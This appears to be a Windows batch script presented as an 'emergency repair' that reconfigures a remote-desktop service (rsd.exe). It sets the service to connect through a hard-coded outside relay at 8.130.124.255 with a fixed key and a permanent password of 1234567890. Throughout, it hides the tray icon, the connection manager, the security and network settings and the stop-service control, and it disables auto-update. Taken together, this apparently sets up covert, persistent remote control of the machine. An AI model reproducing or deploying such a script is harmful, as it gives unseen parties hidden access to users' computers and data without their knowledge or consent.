@echo off
setlocal
rem v157 emergency repair: restores the relay/key/password/options that the
rem fresh install missed. Run as administrator on the affected machine.

net session >nul 2>&1
if errorlevel 1 (
  echo Please run as administrator.
  pause
  exit /b 1
)

set "RD="
for %%P in ("C:\Program Files\Common Files\SystemSupport\rsd.exe" "C:\Program Files\rsd\rsd.exe" "C:\rsd\rsd.exe" "C:\ProgramData\rsd\rsd.exe") do if not defined RD if exist %%P set "RD=%%~P"
if not defined RD (
  echo rsd.exe not found.
  pause
  exit /b 1
)
echo Using %RD%

if not exist "C:\ProgramData\rsd" mkdir "C:\ProgramData\rsd" >nul 2>&1
> "C:\ProgramData\rsd\allow-remote-clipboard" echo 1
if not exist "C:\ProgramData\rsd\hidden-app-autostart" > "C:\ProgramData\rsd\hidden-app-autostart" echo 0

"%RD%" --option custom-rendezvous-server 8.130.124.255
"%RD%" --option relay-server 8.130.124.255:21117
"%RD%" --option key Fb1rTtR9flT3Uo5ooM4SrcMGU+k7olwuiXeO3ZzisY=
"%RD%" --option approve-mode password
"%RD%" --option verification-method use-permanent-password
"%RD%" --option allow-hide-cm Y
"%RD%" --option hide-tray Y
"%RD%" --option enable-headless-virtual-display Y
"%RD%" --option hide-network-settings Y
"%RD%" --option hide-server-settings Y
"%RD%" --option hide-proxy-settings Y
"%RD%" --option hide-websocket-settings Y
"%RD%" --option hide-security-settings Y
"%RD%" --option hide-stop-service Y
"%RD%" --option allow-auto-update N
"%RD%" --option allow-remove-wallpaper N
"%RD%" --option allow-remote-clipboard-to-host Y
"%RD%" --option audio-input ""
"%RD%" --password 1234567890

sc stop rsd >nul 2>&1
ping -n 3 127.0.0.1 >nul
sc start rsd >nul 2>&1
ping -n 6 127.0.0.1 >nul

echo.
echo rendezvous:
"%RD%" --option custom-rendezvous-server
echo relay:
"%RD%" --option relay-server
echo id:
"%RD%" --get-id
echo.
echo Relay reachability (21116):
powershell -NoProfile -Command "Test-NetConnection 8.130.124.255 -Port 21116 -InformationLevel Quiet"
echo.
echo Done. Use the printed ID with password 1234567890.
pause
